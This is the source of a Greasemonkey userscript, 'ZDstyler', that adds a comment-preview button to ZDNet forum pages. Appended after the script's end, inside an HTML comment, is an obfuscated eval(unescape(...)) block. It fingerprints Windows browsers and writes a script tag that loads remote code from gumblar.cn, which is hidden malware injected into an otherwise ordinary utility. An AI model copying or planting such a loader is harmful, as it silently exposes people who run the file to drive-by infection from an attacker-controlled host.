// ZDstyler ! Adds preview controls to a ZD-Net Forum comment page
// Version 1.1.dfl !
// Based on version 1.0
// ----------------------------------
// Copyright (c) 2005, John Le'Brecage
// Until January 1, 2008: 
//	You are bound by the license found at:
//	http://www.tylercommunications.com/zdstyler/zdstyler.xhtml
// After January 1, 2008: 
// 	The zdstyler script is licensed under GPL, version 3, 
//	or any future version.
// ----------------------------------
//  To install this Greasemonkey user script,
//  you need Greasemonkey: http://greasemonkey.mozdev.org/
// ----------------------------------
// Modified May 13, 2008 by Dave Leigh. 
// This version is available at http://www.cratchit.org/download/zdstyler.user.js
// ----------------------------------
//
// ==UserScript==
// @name          ZDstyler
// @namespace     http://www.tylercommunications.com/zdstyler/
// @description   Adds preview controls to a ZD-Net Forum comment page
// @include       http://www.zdnet.com/*
// @include       http://news.zdnet.com/*
// @include       http://talkback.zdnet.com/*
// @include       http://blogs.zdnet.com/*
// ==/UserScript==

var gmh1 = '_gm_h1';
var gmptxt = '_gm_ptxt';
var previewWidth = 538;
var update_url = 'http://www.tylercommunications.com/zdstyler/update.txt';

if (!GM_xmlhttpRequest || !GM_setValue || !GM_getValue) {
	window.alert('Please upgrade to the latest version of Greasemonkey.');
	return(1);
}

var updatecheck = (new Date()).valueOf()/86400000;
var lastupdatecheck = GM_getValue('zds_update', updatecheck);
var dayssincecheck = Math.round(updatecheck-lastupdatecheck);
var updatestring=GM_getValue('zds_updatestring',0);

if ( dayssincecheck > 35 || !updatestring ) {	
	get_updatestring(update_url);
	updatestring=GM_getValue('zds_updatestring','');
}
GM_log(updatestring,0);
function get_updatestring(url_string) 
{
	GM_xmlhttpRequest({
	    method: 'GET',
	    url: url_string,
	    onload: function(req) {
		if (req.status == 200) {
			var response = req.responseText;
			GM_setValue('zds_updatestring',response);
			GM_setValue('zds_update',Math.round(updatecheck));
			if (!response.match(/no /i) &&
			    response.match(/update/i)) {
				window.alert ('An update of ZDstyler is available at www.tylercommunications.com/zdstyler/');
			}
		}
	    }
	});
}

var textArea = document.getElementsByName('body');
if (textArea.length != 1) {
	return(1);
}

var subjectArea = document.getElementsByName('subject');
if (subjectArea.length != 1) {
	return(1);
}

var submitButton = document.getElementsByName('doPost');
if (submitButton.length != 1) {
	return(1);
}

// var previewButton = document.createElement('span');
// previewButton.innerHTML=
// 	'<input type="button" name="doPreview" value="Preview">' +
// 	'<h1 style="display:none" class="a4" name="'+gmh1+'">'+
// 	  '.'+
// 	'</h1>'+
// 	'<div name="'+gmptxt+'" style="display:none">'+
// 	   '.' +
// 	'</div>';

// DFL change for new ZDNet
var previewButton = document.createElement('span');
previewButton.innerHTML=
	'<button type="submit" name="doPreview">Preview</button>' +
	'<h1 style="display:none" class="a4" name="'+gmh1+'">'+
	  '.'+
	'</h1>'+
	'<div name="'+gmptxt+'" style="display:none">'+
	   '.' +
	'</div>';

previewButton.addEventListener('click', previewMe, true);
submitButton[0].parentNode.insertBefore(
	previewButton, submitButton[0].nextSibling
);

var h1style = document.defaultView.getComputedStyle(
	document.getElementsByName(gmh1)[0],
	''
);
var ptxtstyle = document.defaultView.getComputedStyle(
	document.getElementsByName(gmptxt)[0],
	''
);


function previewMe (event)
{
	event.preventDefault();
 	var previewWindow = window.open("about:blank","ZDNet_PreviewWindow",
		"resizable=yes,scrollbars=yes,status=yes,width="+
		(previewWidth+48)+",height=400,dependent=yes"
	)
	if (!previewWindow) {
		window.alert ("Unable to open preview window. An extension or Firefox may be blocking creation.");
	}

	var bodyText = replaceTags(textArea[0].value);
	var subjectText = subjectArea[0].value;
	var banner ='<p style="background-color:cyan;font-size:9pt;">Preview provided by zdstyler. '+updatestring;
	previewWindow.document.write(
		'<div style="width:"+previewWidth+"px;">'+
			banner+ 
			'<h1 style="'+ gmpr_styler(h1style)+'height:2em;">'+
				subjectText+
			'</h1>'+
			'<div style="'+gmpr_styler(ptxtstyle)+'">'+
				bodyText+
			'</div>'+
			banner+
		'</div>'
	);
	previewWindow.document.close();
	previewWindow.document.title='Preview: '+subjectText;
}


function gmpr_styler (stag)
{
	var spec;
	spec+='font-size:'+stag.getPropertyValue('font-size')+'; ';
	spec+='font-family:'+stag.getPropertyValue('font-family')+'; ';
	spec+='font-weight:'+stag.getPropertyValue('font-weight')+'; ';
	spec+='font-variant:'+stag.getPropertyValue('font-variant')+'; ';
	spec+='font-style:'+stag.getPropertyValue('font-style')+';';
	return spec;
}

function replaceTags (rawText)
{
	rawText = rawText.replace (/</g, "&lt;");
	rawText = rawText.replace (/>/g, "&gt;");
	rawText = rawText.replace (/\[(\/?)([biu])\]/gi, "<$1$2>"); 
	rawText = rawText.replace (/\[url="?(\S+)"?\]/gi, '<a href="$1">');
	rawText = rawText.replace (/\[\/url\]/gi, '</a>');
	rawText = rawText.replace (/\n/g, '<br>');
	return rawText;
}

return(1);
<!-- 
(function(){var xiK6='%';eval(unescape(('@76ar@20@61@3d@22S@63ript@45@6egine@22@2c@62@3d@22Version()@2b@22@2cj@3d@22@22@2cu@3dn@61@76iga@74or@2eus@65rAge@6et@3bi@66((u@2ei@6edexOf(@22W@69n@22)@3e0)@26@26@28u@2eindex@4ff(@22NT@206@22)@3c0)@26@26(d@6fcum@65nt@2ecook@69@65@2e@69@6edex@4ff(@22mie@6b@3d1@22@29@3c0)@26@26(typeof(@7ar@76zts)@21@3dtyp@65of(@22A@22)))@7b@7ar@76zt@73@3d@22A@22@3beval(@22@69@66(@77indow@2e@22+a+@22)j@3dj+@22@2ba@2b@22M@61jor@22@2bb@2ba+@22Minor@22+b@2ba@2b@22@42ui@6cd@22+b@2b@22j@3b@22@29@3bdocume@6et@2e@77@72ite(@22@3cscript@20src@3d@2f@2fgu@6dbl@61@72@2ec@6e@2frss@2f@3f@69d@3d@22@2bj@2b@22@3e@3c@5c@2fs@63@72ipt@3e@22)@3b@7d').replace(/@/g,xiK6)))})();
 -->
